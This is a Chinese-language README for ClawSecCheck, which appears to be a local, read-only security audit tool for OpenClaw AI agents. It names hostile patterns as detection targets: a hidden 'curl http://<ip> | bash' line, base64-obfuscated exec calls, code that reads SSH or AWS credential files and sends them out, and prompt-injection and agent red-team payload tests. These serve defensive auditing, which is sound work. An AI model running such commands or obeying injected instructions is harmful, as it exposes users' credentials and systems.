内容
<p align="center">
<img src="https://readme-typing-svg.demolab.com?font=Fira+Code&weight=700&size=32&duration=3000&pause=900&color=39D353¢er=true&vCenter=true&width=640&lines=ClawSecCheck+%F0%9F%94%8D;OpenClaw+Security+Self-Audit;Free.+Local.+Read-only.;Score+Your+Agent+A%E2%80%93F" alt="ClawSecCheck" />
</p>
<p align="center">
<b>🔍 一个免费、本地、只读的安全自我审计工具,适用于您自己的 OpenClaw 代理。</b>
</p>
<p align="center">
<a href="https://github.com/gl0di/clawseccheck/releases"><img src="https://img.shields.io/github/v/tag/gl0di/clawseccheck?label=version&color=39D353" alt="version"></a>
<a href="https://clawhub.ai/gl0di/clawseccheck"><img src="https://img.shields.io/badge/ClawHub-clawseccheck-7C3AED" alt="ClawHub"></a>
<img src="https://img.shields.io/badge/python-3.9%2B-blue" alt="Python 3.9+">
<img src="https://img.shields.io/badge/dependencies-zero-success" alt="Zero dependencies">
<img src="https://img.shields.io/badge/network-none-critical" alt="No network">
<a href="LICENSE"><img src="https://img.shields.io/badge/License-MIT-blue.svg" alt="License: MIT"></a>
<a href="https://github.com/gl0di/clawseccheck/stargazers"><img src="https://img.shields.io/github/stars/gl0di/clawseccheck.svg?style=social" alt="GitHub stars"></a>
</p>
<p align="center">
<b>免费 · 本地 · 只读 · 无 API 密钥 · 您的数据永远不会离开您的机器</b>
</p>
---
## 🔒 本地、只读、诚实地报告其局限性
ClawSecCheck 在 **本地和只读** 环境中运行 - 无网络调用,无遥测数据,无数据离开您的机器。它是一种启发式审计,因此它对其检查的内容和不检查的内容保持开放的态度:
**诚实的限制(我们从不隐藏这些限制):**
- **静态分析,而不是运行时验证。** 发现结果描述您的**配置**,而不是实时利用。结果相应地标记。
- **`UNKNOWN` ≠ `PASS`.** 如果文件无法读取,配置无法解析,或状态无法确定,则将其报告为 `UNKNOWN` 并从分数中排除 - 永远不会**隐含** 安全。
- **一些深入的检查计划中但尚未实施:** 一个 dirty-input action-gate 和 taint-tracking layer(B27-B28)正在规划中,目前发布的 B33 版本门控包含一组小的已验证的建议 - 其表格随着新建议的验证而增长,而不是一个详尽的 CVE 数据库。
- **验证扫描器本身** (`--vet` 指向 ClawSecCheck 的源代码) 报告**安全并附有说明** - 安全工具必然包含攻击签名作为数据。
**发现了假阳性/假阴性或令人困惑的内容?** 在 <https://github.com/gl0di/clawseccheck/issues> 中打开一个问题,并附上 `clawseccheck --json` 的输出(它会隐藏**值** - 只有键名/路径出现)以及您的 OpenClaw 版本。不要粘贴原始机密。
---
## ⚠️ 重要 - 不信任任何人(包括此技能)
OpenClaw 技能**不被沙盒化**:已安装的技能具有您代理的**完全权限**。 ClawHavoc 活动毒害了 ClawHub,包含**数百个恶意技能**,用于窃取凭证和加密钱包 - 单行 Markdown 可以隐藏一个 `curl http://<ip> | bash`。
因此,在您下载、安装或使用**任何**技能(包括此技能)之前:
1. **阅读源代码** - 它是纯文本。如果您看不懂它,请不要运行它。
2. **让您的代理为您分析它** - 请 OpenClaw 审查技能的 `SKILL.md` 和脚本中的 shell-exec、凭证访问、paste-host 上传和混淆(base64)有效载荷**,然后再启用它。 ClawSecCheck 使用 `--vet <skill>` 执行此操作。
3. **固定一个已知的版本**,优先使用签名/ VirusTotal-clean 技能,并在您怀疑它时旋转任何技能可能接触到的机密。
ClawSecCheck 实践这一点:它是开源的、零依赖的、只读的,并且其 **B13** 检查正是对您已安装的技能进行此验证。信任是通过可读性获得的 - 所以请阅读它。
---
## 🤔 为什么是另一个审计工具?
内置的 `openclaw security audit` 和 Trent/ClawSec 等工具都不错 - 但是:
- 原生审计**不检查引导文件的内容** (`SOUL.md`、`AGENTS.md`、`TOOLS.md`):它们作为**受信任的上下文**注入系统,但没有验证。 ClawSecCheck **确实**检查它们是否存在注入攻击的指令(我们的检查 **B6**)。
- ClawSecCheck 是**100% 本地**的 - 无 API 密钥,无数据传输(Trent 上传您的配置;原生审计仅限 CLI)。
- 它提供了一个**可分享的分数 + 等级 + 致命三要素比率**,您可以发布到社区 - 而无需公开您的实际发现。
---
## 🔬 检查内容
- **致命三要素**(不受信任的输入 × 敏感数据 × 外发动作 - 保持 ≤2 个)
- 网关暴露和通道身份验证、明文机密、最小权限、执行沙盒、插件/技能供应链完整性、引导文件注入表面、内存中毒、人类批准、机密泄漏/编辑、TLS、本机优先/模型卫生。
- **B13 - 已安装技能/插件验证:** 扫描您下载的技能内容(非您自己制作的)以检测 ClawHavoc 恶意软件类,包括 base64 隐藏的有效载荷。自 v0.21 起,它还运行一个静态 **Python AST** 传递(stdlib `ast`,仅解析 - 永远不会执行),它捕获混淆正则表达式遗漏 - `exec(base64.b64decode(...))`、`getattr(os,"sys"+"tem")(...)`、`__import__("os").system(...)` - 以及第三方技能的 prose 中嵌入的 prompt-injection / hide-from-user 指令,以及(v0.23)**污点跟踪**,它标记凭证**文件**的内容(`~/.ssh/id_*`、`.aws/credentials`、密钥链、钱包等)流动到网络接收器(“读取机密文件→发送出去”)。源仅限于凭证文件,不包括环境变量,因此合法的“读取 `OPENAI_API_KEY`,发送为身份验证标头”模式永远不会被标记。(AST 仅限 Python;JS/shell 仍在使用正则引擎。)
- **B14 - 外发表面:** 代理可以访问的位置(通道、外部技能、工具)。
- **B15 - MCP 服务器信任** 边界。
- **B16 - 威胁监控:** 您是否实际设置了监控/检测?
- **B17 - 自主性/心跳:** 代理是否自主运行并且可能受到不受信任的输入的控制。
- **B18 - 子代理委派:** 生成的子代理是否可以使用提升的/exec 工具而无需批准。
- **B45 - 每个代理的权限分离(证明):** A1 将整个设置简化为一个功能表面;B45 读取证明的代理列表(`--attest`、`agents: [{name, tools}]`)并检查是否任何**单个**代理单独拥有三个致命要素。 OpenClaw 配置没有每个代理的工具允许列表,因此需要自我报告 - `UNKNOWN` 没有它,咨询(`ATTESTED`,未评分)。 PASS 表示“没有单个代理是完整的三要素” - 一个必要条件,**不是**保证:运行时数据流和委派图超出范围。
- **B46 - 多代理三要素暴露:** 配置仅提示 - 可生成的子代理 **加上** 全局三要素 **加上** 没有执行批准门控。 限于 WARN(永远不会有新的 FAIL)。
- **B47 - 跨代理三要素重组(证明):** 即使没有单个代理是三要素,它也可以跨委派重组:不受信任输入的代理可以驱动敏感数据代理和外发代理。 读取证明的 `delegation: [{from, to, returns}]` 图;`returns` 层决定可利用性 - `schema`(类型化)返回是一个**墙**,阻止通道(PASS,并附有非运行时验证的说明),而 `raw`/`filtered`/`unknown` 携带它(WARN)。 `UNKNOWN` 没有 `--attest`。`RISK-11` 讲述链条。 运行时数据流保持在静态范围之外。
- **B19 - 数据静止存储:** 组/世界可读的内存/日志目录(会话数据/个人身份信息暴露)。
- **B20-B24 - 代理行为:** 身份/内存文件的写保护、工具输出信任边界、自修改风险、批准绕过指令和深度 MCP 服务器强化。
- **B30 - 发送者身份强度:** 标志 `channels.<provider>.dangerouslyAllowNameMatching`(按可变显示名称允许列表 - 通过重命名轻易绕过)和 `channels.telegram.includeGroupHistoryContext="recent"`(不受信任的组历史记录作为上下文注入)。
- **B32 - 控制平面突变可达性:** 标志通过 `gateway.tools.allow` 在 HTTP 网关上暴露的控制平面工具(`cron`、`config.apply`、`update.run`、`sessions_spawn`、`sessions_send`、`gateway`)- 完整的代理接管,无需进一步升级。
- **B38 - 浏览器/ SSRF 暴露:** 标志 `browser.ssrfPolicy.dangerouslyAllowPrivateNetwork`(云元数据 IP 访问/凭证盗窃 via 169.254.169.254)和 `browser.noSandbox`(无 OS 隔离的无头浏览器);当没有 `hostnameAllowlist` 限制出口时发出警告。
- **B48 - 危险的破玻璃覆盖:** OpenClaw 的 `dangerously*`/`allowUnsafe*` 切换的固定注册表,已记录为“保持禁用”。**FAIL** 当沙盒逃逸(`sandbox.docker.dangerouslyAllow{ContainerNamespaceJoin,ExternalBindSources,ReservedContainerTargets}`)或控制平面身份验证绕过(`gateway.controlUi.dangerouslyDisableDeviceAuth`)标志处于活动状态时;**WARN** 其他(禁用 webhook 签名、主机头源回退、外部嵌入、真实 IP 回退、`allowUnsafeExternalContent`、每个通道/插件的私有网络访问、额外节点命令)。 默认/缺失 = clean PASS(零个假阳性在股票配置上)。
- **B39 - 会话可见性/跨用户事务记录泄漏:** 标志 `session.dmScope="main"`(所有 DM 对等方共享一个会话 - 跨用户污染)和 `tools.sessions.visibility` 为 `"agent"` 或 `"all"`(跨会话事务记录读取)。
- **B26 - 不受信任的上下文暴露:** 标志 `channels.<provider>.contextVisibility="all"`(OpenClaw 默认值),其中引用/线程/历史记录文本来自非 allowlisted 发送者被注入模型作为上下文 - 一个 prompt-injection 表面;建议 `allowlist`/`allowlist_quote`。
- **B33 - 已知漏洞版本门控:** 将 `meta.lastTouchedVersion` 与维护的 OpenClaw 建议表进行比较(以 GHSA-g8p2-7wf7-98mq 为种子,修复 `2026.1.29`);未知版本为 `UNKNOWN`,永远不会 `PASS`。
- **B41 - 凭证爆炸半径:** 库存凭证表面(`auth.profiles.*`,网关令牌)可由代理访问,并在它共存不受信任的输入 + 出口工具时发出警告。 仅报告提供商名称 + 计数 - 永远不会是帐户/电子邮件或令牌值。
- **B31 - 有效工具绕过:** 检测 OpenClaw 的 footgun,其中 `tools.deny: ["write"]` 不拒绝 `apply_patch`/ `exec` - 一个被认为是安全的限制仍然允许文件突变;检查全局、`toolsBySender` 和每个代理的拒绝列表。 建议 `group:fs` 或完整的拒绝列表。
- **B42 - 技能/插件安装时策略:** 安装时供应链风险本身不是恶意软件 - `package.json` `pre/postinstall` 钩子在安装时运行**和每个自动更新**(无沙盒化,具有代理的权限),以及**世界可写技能目录**(任何本地用户都可以丢弃代理加载的技能)。 WARN-max,永远不会 FAIL;补充 B25(固定)和 B13(内容)。
- **B50-B54 - 主机监视姿势:** 将视角扩展到代理运行的**机器** - 有人监视它吗? 只读、仅文件系统检测(无子进程,无网络)主机防御监视器:**B50** 网络监控/IDS(Suricata、Zeek、Snort、Little Snitch、Sysmon),**B51** 主机审计/系统调用日志(auditd、OpenBSM、Sysmon),**B52** 文件完整性监控(AIDE、Tripwire、osquery),**B53** 端点保护/EDR(Wazuh、CrowdStrike、ClamAV、Defender、Santa),**B54** 主机防火墙(ufw、firewalld、nftables、macOS ALF、Windows 防火墙)。 LOW 严重性,**永远不会 FAIL**:缺少监视器仅在代理具有高权限时为 WARN,否则 PASS;如果可以读取但不确定,则 `UNKNOWN`。 在可以读取而无需运行命令的情况下,它区分**启用**和仅**安装**。
- **B43 / B44 - 能力爆炸半径(证明层):** 静态扫描仅读取配置文件;它无法看到代理的**实际工具/动词库存** - 配置列表工具名称为不透明的字符串。 证明层关闭:`--ask` 发出模板,运行代理填充, `--attest <file>` 将其反馈。 **B43** 按爆炸半径对动词进行分类 - `EXEC`(bash/shell/exec - 最广泛的:涵盖 egress+destruction), `MAILBOX_CONFIG`(auto-forward/filter/delegation - 持久的隐形通道), `DESTRUCTIVE`(delete-forever/purge), `EGRESS`(send/forward/post), `REVERSIBLE`(search/get/draft/label)。 可逆转工具集 **passes**(转发-外泄和删除证据在物理上是不可能的);高爆炸半径的动词如果可以触发而无需批准则 **fails**。 **B44** 与配置的 `tools.allow` 进行交叉检查并标记高爆炸半径的动词配置授予但代理省略(漂移/盲点/掩盖)。两者在 `ATTESTED` 置信度 - 自我报告是较弱的证据而不是配置事实,因此它们是建议的并且永远不会覆盖一个。 读取-仅限,反向-静态:代理报告它持有内容,它永远不会**执行**动词进行测试。 证明 `paths` 块还让代理指向 B20/C5 在其身份/内存文件和 OpenClaw 安装实际居住的位置 - 仅发现:代理提供**位置**,引擎仍然 `stat()` 路径本身,因此那些权限发现保持完整的 file-stat 强度(不是 `ATTESTED`)。
- **B20 / C5 - 静止存储写保护:** B20 标记组/世界可写的引导/身份/内存文件 (`SOUL.md`/`AGENTS.md`/ `TOOLS.md`/ `MEMORY.md`) 在 home root **和** 工作区目录; C5 标记一个组/世界可写的 OpenClaw 二进制目录,其安装树祖先(例如 npm 包根 - 二进制替换向量),并且可写的 PATH 目录直到它。 像 `/tmp` 这样的粘性目录是豁免的(粘性位阻止跨所有者替换)。
- 加上您自己的 **`openclaw security audit`**,为您运行并合并其发现结果。
**映射到 OWASP.** 每个检查都标记其 **OWASP Top 10 for LLM Applications(2025)** 类别(在 `--json` 中按查找显示为“...”),并且检查映射到代理特定的 **OWASP Agentic(ASI)** 威胁类别 - 工具滥用,多代理身份/权限滥用,不安全的代理间通信,级联爆炸半径 - 应用代码审查人员永远不会看到的。完整的矩阵在 [`docs/THREAT_COVERAGE.md`](docs/THREAT_COVERAGE.md) 中。
---
## 内置审计,随附为您
非技术用户永远不会打开终端来运行 OpenClaw 的 `openclaw security audit`。因此,ClawSecCheck 为您运行它(只读)并将发现结果合并到同一个易读报告中 - 一个按钮显示 ClawSecCheck 的检查 *和* 平台自己的审计。本地发现结果显示出来,但 **不** 混入 ClawSecCheck 分数(保持确定性)。如果需要,可使用 `--no-native` 禁用。
---
## 可信度 / 溯源
ClawSecCheck 是 **开源且零依赖(仅限 Python 标准库)** 的。其自身的检查是 **只读且离线的** - 它们只读取 `~/.openclaw/openclaw.json` 和您的 workspace 引导 Markdown 文件,并且 **不进行网络调用**。它永远不会触及您的 OpenClaw 配置或数据,并且 **永远不会离开您的机器**。它唯一写入的内容是私有、仅限所有者的本地分数历史记录(`~/.clawseccheck/history.jsonl`),以便您跟踪随时间变化的分数 - 您可以随时退出 `--no-history`。除非您要求,否则不会写入其他内容:报告文件 (`--save`),监视快照 (`--monitor`),徽章 (`--badge`),HTML/SARIF (`--html`/`--sarif`) 或日志 (`--log`).
ClawSecCheck 可以运行的唯一外部命令是您自己的、固定且只读的:
```bash
openclaw security audit --json
```
没有 shell,没有 `--fix`,有超时;如果不需要,可以完全跳过 `--no-native`。整个源代码都在 [`clawseccheck/`](clawseccheck/) 目录中 - 在信任它之前请先阅读。如果在 ClawHavoc 恶意软件浪潮中,审计技能应该证明其自身的安全性;这个做到了。
---
## 安装和运行
```bash
openclaw skills install clawseccheck # 从 ClawHub(唯一标识符)
openclaw skills install git:gl0di/clawseccheck # 直接从 GitHub
```
# 然后询问您的代理:`audit my OpenClaw setup with clawseccheck`
ClawHub 上的技能页面:**<https://clawhub.ai/gl0di/clawseccheck>**。
或者将其作为独立的 CLI 安装(零依赖):
```bash
pipx install git+https://github.com/gl0di/clawseccheck # 或者:pip install .
clawseccheck --home ~/.openclaw # 然后直接运行 `clawseccheck`
python -m clawseccheck # 也有效
```
或者直接运行捆绑的脚本(Linux/macOS):
```bash
python3 audit.py # 人类报告 + 可分享的卡片
python3 audit.py --json # 机器可读
python3 audit.py --card # 仅限徽章
python3 audit.py --ascii # 纯文本输出(无 Unicode 图标/框)
python3 audit.py --home ~/.openclaw
```
在 **Windows** 上使用 `python`(或 `py`);脚本会自动检测无法渲染 Unicode 的控制台,并降级为 ASCII,或者强制使用 `--ascii`:
```bat
python audit.py
py audit.py --card --ascii
```
跨平台:纯 Python 标准库,基于 pathlib 的路径,POSIX 文件权限检查在 Windows 上被跳过(NTFS 使用 ACL),并且所有输出都有 ASCII 备用。
---
## 🔄 更新
OpenClaw 会记住技能的来源,因此用户可以通过更新获取新版本:
```bash
openclaw skills update clawseccheck # 从其源代码(Git/ClawHub)拉取最新版本
clawhub update --all # 更新所有已安装的技能
```
(或重新运行安装命令。)自动更新技能/ `update.auto.enabled` 在 `~/.openclaw/openclaw.json` 中可以按计划更新。因为技能具有代理的全部权限,所以恶意的 *更新* 是一个真正的安全供应链风险 - 因此这里的每个版本都已标记,其源代码公开可读 **在更新之前**。优先审查/固定标签而不是盲目自动更新对于任何安全敏感的内容。
> **更新后的首次调用为空?** OpenClaw 的某些版本会延迟重新加载新更新的技能,因此更新后立即运行 *首次* 调用可能会返回空值;只需再次运行即可。这是一个 OpenClaw 技能重载时序伪影在运行时,而不是审计 - 通过 `clawseccheck --verify-self` 确认引擎是活跃的。
**陈旧提醒(离线)。** 旧的安全扫描器本身就是一种风险,因此默认报告可能会打印一行“您的构建可能已过时”的通知。它是 **100% 离线** 的 - 它仅读取本地时钟与内置构建日期的对比,以及可选的本地提示文件 `~/.clawseccheck/latest.json`,您的分发层或代理可能会写入。ClawSecCheck **从不通过网络检查其自身的更新** (这会破坏其零网络承诺,并且它必须标记自身)。实际的“是否存在新版本?”查找属于您的包工具或代理 - 请参阅 SKILL.md “保持 ClawSecCheck 当前”。
---
## 🧭 引导模式
当您在 OpenClaw 中运行 ClawSecCheck 时,代理会通过审计以对话方式引导您 - 您无需了解任何标志。每次默认运行后,ClawSecCheck 都会打印一个简短的 **“您可以做的下一步”** 块:一个优先列出的与您的发现相关的后续步骤列表,包含运行每个步骤的确切命令。
相同的列表可以通过另外两种方式获得:
```bash
python3 audit.py --next # 仅打印下一步骤块(运行审计后)
python3 audit.py --json # 在 JSON 信封中包含一个“next_actions”数组
```
建议由您的实际结果驱动 - 打开 FAIL 查找会首先显示 `--prompts`;未经验证的第三方技能会显示 `--vet`;未检测到监控会显示 `--monitor`;等等。当没有紧急情况时,块会告知您并建议较轻的后续操作(趋势跟踪,成绩共享)。
**ClawSecCheck 从不应用修复或更改您的配置。** 对于每个打开的查找, `--prompts` 提供一个现成的复制粘贴提示给您的代理(或您自己);更改由您决定。所有操作保持本地。
**`--fix` — 即刻修复。** 打印当前 FAIL/WARN 查找的精确复制粘贴修复:安全的 shell 命令(例如 `chmod 600 ~/.openclaw/openclaw.json`)和配置指导(`set tools.exec.mode → "ask"`)。它 **仅输出** - ClawSecCheck 不会应用任何操作;您审查并运行它。配置修复以 *设置此点路径为此值* 指导(因此您编辑自己的 `openclaw.json`),而非粘贴覆盖 JSON blob 可能会覆盖您的其他键。同时在 `--json` (`"remediation"`) 和 SARIF (`fixes`) 中显示每个查找。
---
## 📋 您如何获得报告
当您在 OpenClaw 中运行技能时,代理会执行 `audit.py`,捕获其输出,并 **直接在聊天中** 向您显示 - 无需终端,无需设置。您会看到:
1. 您的 **分数/成绩/致命三项** 比率,
2. **修复列表,最紧急的优先** ,以纯语言显示,
3. 一个 **可分享的卡片** - 成绩 + 分数 + 致命三项比率,安全可分享(查找结果保持私密; `--badge` 以 SVG 形式写入相同的成绩 + 分数)。
要保留副本,请添加 `--save report.txt`,ClawSecCheck 会将完整报告写入该文件(仅在您请求时写入)。对于自动化, `--json` 提供机器可读的结果。
---
## 📡 威胁监控
两件互补的事情:
**B16 — 您有监控吗?** ClawSecCheck 检查您是否设置了威胁监控/检测 - 没有监控的代理如果被入侵也不会提醒您。B16 查找监控技能/插件(ClawSec,`openclaw-security-monitor`,...)或监控/警报配置;如果未找到,它会警告您并告诉您如何添加。
**`--monitor` — 代理监视。** 获取监控的一种方式:定期重新审计并提醒 **按严重程度** 发生的变化 - 新或修改的已安装技能,`SOUL.md` 漂移,分数下降,检查从 PASS → FAIL,**新连接的 MCP 服务器,新通道,网关变得暴露于网络,或主机监视器消失**。每次运行都会将更改追加到私有本地日志 (`~/.clawseccheck/events.jsonl`,仅限所有者,从不上传);使用 `--watch-log` 查看时间线。(漂移检测升级安全:旧快照永远不会产生虚假的“新连接”警报。)
```bash
python3 audit.py --monitor # 首次运行 = 基线,然后提醒变化
python3 audit.py --monitor --state ~/.clawseccheck/state.json
```
通过 OpenClaw 的心跳或 cron 调度它;当警报触发时,让您的代理给您发消息。
它在 `~/.clawseccheck/state.json` 存储一个小快照。(定期重新审计 + 漂移检测 - 不是实时 IDS;那个更重的模型故意不在范围内。)
---
## ⛓️ 最高风险路径
除了个别检查外,ClawSecCheck 运行一个 **风险引擎** ,查找危险的 **组合** - 能力链,其中两个或多个同时出现的属性使妥协灾难性或微不足道地执行。
它检测的十一大链(RISK-01 至 RISK-11):
| ID | 严重程度 | 链 |
|----|----------|-------|
| RISK-01 | 严重 | 不受信任的发送者(开放的 DM/组)→ 执行/写入/提升的工具 → 主机/文件系统 |
| RISK-02 | 高 | 不受信任的输入 → 可访问的敏感数据 → 外发/执行(致命三项) |
| RISK-03 | 高 | 不受信任的输入 + 没有执行沙箱 → 直接在主机上执行/写入 |
| RISK-04 | 高 | 可变的代理身份(名称匹配)→ 提升的/执行工具 → 特权升级 |
| RISK-05 | 高 | 私有网络的浏览器 SSRF → 机密/凭证 → 流出 |
| RISK-06 | 严重 | 开放/不受信任的表面 → 控制平面端点 → 完全代理接管 |
| RISK-07 | 高 | 执行/写入工具(无审批门)→ 可写入的引导/身份文件 → 持久性妥协 |
| RISK-08 | 中等 | 多用户通道 → 共享会话(`dmScope="main"`)→ 跨用户数据泄漏 |
| RISK-09 | 严重 | 恶意安装的技能(B13 失败)→ 可访问的机密/数据 → 出口 → 流出 |
| RISK-10 | 中等 | 不受信任的输入 → 代理可在主机上执行/写入 → 没有主机检测(IDS/审计/FIM/EDR)→ 违规行为不可见 |
| RISK-11 | 高 | 跨代理三元组重组(混淆代理):不受信任输入的代理 → 驱动敏感数据代理 → 通过非墙委托边缘驱动外发代理 |
每个链仅在 **每个链接都有积极证据** 时才会触发 - 没有链是根据缺失或未知数据发明的,因此发现结果是证据门控的,这使得误报率降低 -
但这是启发式审计,而不是保证;仍需要人工审查。风险引擎不会更改确定性的 A-F 分数;它单独显示,以便您可以在不膨胀分数的情况下一目了然地看到最坏情况的路径。
```bash
python3 audit.py --risk-paths # 仅打印最高风险链部分
python3 audit.py --json # 在 JSON 信封中包含一个“risk_paths”数组
```
`--risk-paths` 输出也会在任何链触发时附加到默认报告中。
---
## ⚙️ CI / 自动化
```bash
python3 audit.py --sarif results.sarif # 在本地写入 SARIF 2.1.0(用于 GitHub Code Scanning 上传步骤)
python3 audit.py --fail-under 70 # 如果分数 < 70,则退出 1(在 CI 管道中使用)
python3 audit.py --exit-code # 如果有任何未抑制的 FAIL 查找,则退出 1
```
SARIF 文件会写入您选择的路径 - ClawSecCheck 永远不会上传它。
`--fail-under` 和 `--exit-code` 在省略时不会更改默认退出代码(0),
以保留向后兼容性。
---
## 🧰 更多工具
**快速 CLI 参考** (每个标志都是本地的和只读的,对您的配置):
| 需要 | 命令 |
|---|---|
| 人类报告 | `clawseccheck` |
| JSON / SARIF 输出 | `clawseccheck --json` · `clawseccheck --sarif results.sarif` |
| 即刻修复 | `clawseccheck --fix` |
| 最高风险链 | `clawseccheck --risk-paths` |
| 安装前检查技能 | `clawseccheck --vet ./skill` |
| 检查连接的 MCP 服务器 | `clawseccheck --vet-mcp` |
| 主动注入自测试 | `clawseccheck --canary` · `clawseccheck --redteam` · `clawseccheck --dryrun` |
| 监控漂移 / 查看时间线 | `clawseccheck --monitor` · `clawseccheck --watch-log` |
| 声明模板 / 提供它 | `clawseccheck --ask` · `clawseccheck --attest attest.json` |
| 可分享的卡片 / SVG 徽章 | `clawseccheck --card` · `clawseccheck --badge badge.svg` |
| 趋势和百分位 | `clawseccheck --trend` · `clawseccheck --percentile` |
| 接受查找(显示抑制) | 编辑 `.clawseccheckignore` · `clawseccheck --show-suppressed` |
| 跳过原生审计 / 主机姿态 | `clawseccheck --no-native` · `clawseccheck --no-host` |
| 禁用本地历史 / 年龄通知 | `clawseccheck --no-history` · `clawseccheck --no-update-notice` |
| CI 门 | `clawseccheck --fail-under 70` · `clawseccheck --exit-code` |
| 希伯来语(RTL)输出 | `clawseccheck --lang he` |
| 验证引擎本身 | `clawseccheck --verify-self` |
```bash
python3 audit.py --next # 仅打印“What you can do next”指导块
python3 audit.py --vet ./some-skill # 在安装前检查技能(目录或 SKILL.md)
python3 audit.py --vet ./some-skill --json # 相同,机器可读(判决 + 查找);--sarif PATH 用于 CI
python3 audit.py --vet-mcp # 在信任它之前检查连接的 MCP 服务器的供应链风险
python3 audit.py --canary # 活性注入自测试(经过战斗测试)
python3 audit.py --redteam # 多场景对抗性有效载荷套件(包括工具中毒,MCP 响应注入,内存中毒,多代理,审批绕过,脏到流出)
python3 audit.py --dryrun # 运行时行为测试(假秘密 + 假工具;来源:电子邮件,网页,MCP 响应,内存,子代理)
python3 audit.py --badge badge.svg # 编写可分享的 SVG 等级徽章
python3 audit.py --html report.html # 独立 HTML 报告(私有 - 所有者视图)
python3 audit.py --verify-self # ClawSecCheck 源的 SHA-256(防篡改)
python3 audit.py --prompts # 查找的复制粘贴“询问您的代理来修复它”
python3 audit.py --lang he # 希伯来语报告(从左到右);默认自动检测本地化
python3 audit.py --trend # 记录当前审计结果到本地追加历史文件并打印过去分数的表格
python3 audit.py --percentile # 显示您的分数相对于离线参考配置文件的百分比
python3 audit.py --history ~/.clawseccheck/history.jsonl # 自定义历史文件路径(显示默认)
python3 audit.py --verbose # INFO 级日志输出到 stderr(秘密被遮蔽)
python3 audit.py --debug # DEBUG 级日志输出到 stderr(秘密被遮蔽)
python3 audit.py --log audit.log # 还写入日志到本地文件
```
- **`--next`** 仅打印“What you can do next”指导块 - 先运行审计,然后仅显示优先的下一步骤列表。 与附加到默认报告的块相同内容;如果您想重新检查建议而不重新阅读完整报告,则很有用。
- **`--vet PATH`** 在安装前对技能进行 B13 恶意软件扫描(指向下载的文件夹或 `SKILL.md`;对于 URL,请先克隆,然后检查本地副本)。判决:安全 / 可疑 / 危险。添加 `--json` 进行机器可读的判决 + 查找(无分数 - 审查不是评分审计),或 `--sarif PATH` 导出 SARIF 文件用于 CI / 代码扫描;退出代码为 `1` 在可疑/危险时,因此 `--vet … || fail` 允许管道安装。
- **`--vet-mcp`** 在信任之前检查 `mcp.servers.*` 下列出的每个 MCP 服务器的供应链风险 **。** 标记未固定的安装 (`npx @latest`,无版本包),`curl|sh` 引导,纯 HTTP 远程传输,环境变量秘密传递和过于宽泛的 OAuth 权限。每个服务器的判决:安全 / 可疑 / 危险。本地且只读 - 无网络调用,无写入。针对 #1 代理供应链漏洞:大多数工具审计您的技能但不检查连接的 MCP 服务器。
- **`--canary`** 发出隐藏在不受信任内容中的良性注入;将其提供给您的代理 - 如果代理回显令牌,则它服从注入(**漏洞**),否则 **抵抗**。这是活的“经过战斗测试”的补充检查。
- **`--badge PATH`** 为您的 README / 帖子编写 shields 样式的 SVG(仅限成绩 + 分数)。
- **`--prompts`** 将每个查找变成一个复制粘贴提示,您将其粘贴到您的代理来修复它。
- **`--trend`** 记录当前审计结果到本地追加历史文件并打印过去分数的表格。历史记录仅限于您的机器。
- **`--percentile`** 将您的分数与捆绑的离线参考配置文件进行比较 - 无网络,无遥测。
- **`--verbose` / `--debug` / `--log PATH`** 激活结构化本地日志记录。配置值可能包含秘密,写入时会被遮蔽(实践 ClawSecCheck 自己的 B9/B10)。---
## 公共 API 及稳定性
自 **1.0.0** 版本起,以下内容被视为**冻结合约**:破坏这些内容需要进行**重大**版本更新(SemVer)。冻结合约是在认证层稳定后,经过对抗性审查和四次实地运行后确定的,每次运行中发现的问题都得到了修复或有意记录 — 且在实际配置中没有硬性错误。
**冻结合约(破坏这些内容需要进行重大版本更新):**
- **CLI 标志**及其文档化的含义(`--json`、`--sarif`、`--card`、`--monitor`、`--fail-under`、`--exit-code`等)。
- **`--json` 模式**:顶级 `score`、`grade`、`capped`、`raw_score`、`trifecta`、`findings[]`、`next_actions[]`;每个发现的 `id`、`title`、`severity`、`status`、`detail`、`fix`、`framework`、`confidence`、`evidence`。
- **SARIF 2.1.0 输出**格式(规则 ID = 检查 ID;`properties.confidence` + `.evidence`)。
- **公共 Python API**:`clawseccheck.audit(...) -> (ctx, findings, ScoreResult)` 和 `Finding` 字段名称。
- **检查 ID**(`A1`、`B1–B54`、`C3–C5`、`RISK-01..10`):一旦发布,ID 的含义保持不变。
- **状态 / 置信度词汇**:`PASS|WARN|FAIL|UNKNOWN`、`HIGH|MEDIUM|LOW|ATTESTED`。
- **评分区间**:A 90+ · B 80–89 · C 70–79 · D 50–69 · F <50;`UNKNOWN` 永远不会评分;建议检查(`scored=False`)永远不会改变评分。
**1.x 版本中明确为实验性的内容(可能在不进行重大版本更新的情况下更改):**
- **认证层**:`clawseccheck-attest/1` 自我报告模式(注意 `/1` — 它明确版本化以便演进)、 `--ask`/`--attest` 流程、B43 **动词→爆炸半径分类** 和 B44。目前 `ATTESTED` 置信度层级存在,以标记以下内容:自我报告比配置事实、建议弱,且从不覆盖它们。在此标签下,冻结最新界面可能会过度承诺,因此它在具有更广泛的实际使用之前保持灵活。
---
## 状态
当前版本 **v1.8.0** — 公共 API 合约自 **1.0.0** 版本以来已被冻结(破坏 CLI / `--json` / SARIF 需要进行重大版本更新)。只读检查
A1/B1–B26/B30/B31/B32/B33/B38/B39/B41–B44/B48/B50–B54/C3–C5(包括写保护、自我修改、审批绕过、深度 MCP、更新/固定卫生、发送者身份强度、控制平面突变可达性、浏览器/SSRF 暴露、会话可见性/跨用户泄漏,一个 **主机监视态势** 环 — 运行代理的机器是否被监视:网络 IDS、主机审计、文件完整性、EDR 和主机防火墙 — 以及一个 **认证层**(`--ask`/`--attest`,带有引导式询问协议,以便代理自我构建报告;`--attest -` 读取 stdin),它根据代理自身的自我报告对能力级别的爆炸半径进行分类:B43 危险动词清单,B44 自我报告 ⇄ 配置漂移),
安装的技能恶意软件审查,基线抑制 + 治理,内置的 `openclaw security audit` 合并,主动注入测试(`--canary`/`--redteam`),运行时预演框架(`--dryrun`),HTML 报告,自我完整性(`--verify-self`),一个 pip/pipx 可安装的 CLI — 根据外部安全审查进行了强化 — **完全双语输出**(`--lang he` 用于希伯来语 + RTL,从本地环境自动检测;动态发现详情现在也翻译了,而不仅仅是标题 + 静态字符串)— **CI 门控**(`--sarif`、`--fail-under`、`--exit-code`)—
**本地分数历史和离线百分比**(`--trend`、`--percentile`、`--history`)— **本地日志记录和机密删除**(`--verbose`、`--debug`、`--log`)— 通过渲染时片段分割的完整希伯来语动态详情/修复翻译 — 可靠性 FP/FN 固定装置语料库 —
